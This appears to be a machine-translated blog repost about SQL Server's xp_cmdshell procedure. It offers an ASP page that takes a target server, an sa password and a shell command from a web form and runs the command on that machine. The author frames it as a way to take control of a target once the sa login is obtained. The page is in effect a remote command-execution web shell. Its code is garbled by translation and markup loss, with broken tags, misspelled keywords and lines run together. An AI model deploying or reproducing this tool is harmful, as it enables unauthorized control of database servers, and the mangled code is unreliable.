SQLServer extension stored procedure XP

xiaoxiao2021-03-06  62

The xp_cmdshell stored procedure is the CMD command to execute this unit, requiring the system to have SA permissions, that is, if you get SQLServer's sa command, you can use the target machine for what you want, the well-known software "stream" should be this stored procedure Implement the operation on the target. Below is a simple application page I wrote, the code is as follows. Cmd.asp <% @ language = "vbscript" codepage = "936"%>

<% if Request ("cmd") <> "" ">

"Elseresponse.write"
xp_cmdshell Request Results <%

DIM ConnTr, Conn, RS, Iconnstr = "proviDER = SQLOLEDB.1; PERSIST security info = false; server =" & requirements ("server") & "; uid = sa; pwd =" & requirements) & " Database = MASTER "'Connstr =" "' connStr =", "Persist security info = false; server = (local); UID = sa; pwd = www.zhi.net; database = master" set conn = server.createObject (" Adodb.connection ") Conn.open ConnStRSET RS = Server.createObject (" AdoDb.Recordset ") SET RS = Conn.execute (" XP_CMDSHELL '"& Replace (Request (" CMD "),"' "," '" "), chr (34)," '' ") &" ') i = 0WHile Not Rs.eofif Not Isnull (RS (0)) Thenif i mod 2 = 0 ThenRESPONSE.WRITE "

"& rs (0) &"
" & r ( 0) & " " END IFI = i 1END IFRS.MOVENEXTWENDRS.CLOSESET RS = NothingConn.Closset Conn = Nothing%> <% end if%>
">
sa password
">
cmd command
>
Test execution page is shown below:

转载请注明原文地址:https://www.9cbs.com/read-107146.html

New Post(0)
CopyRight © 2020 All Rights Reserved
Processed: 0.046, SQL: 9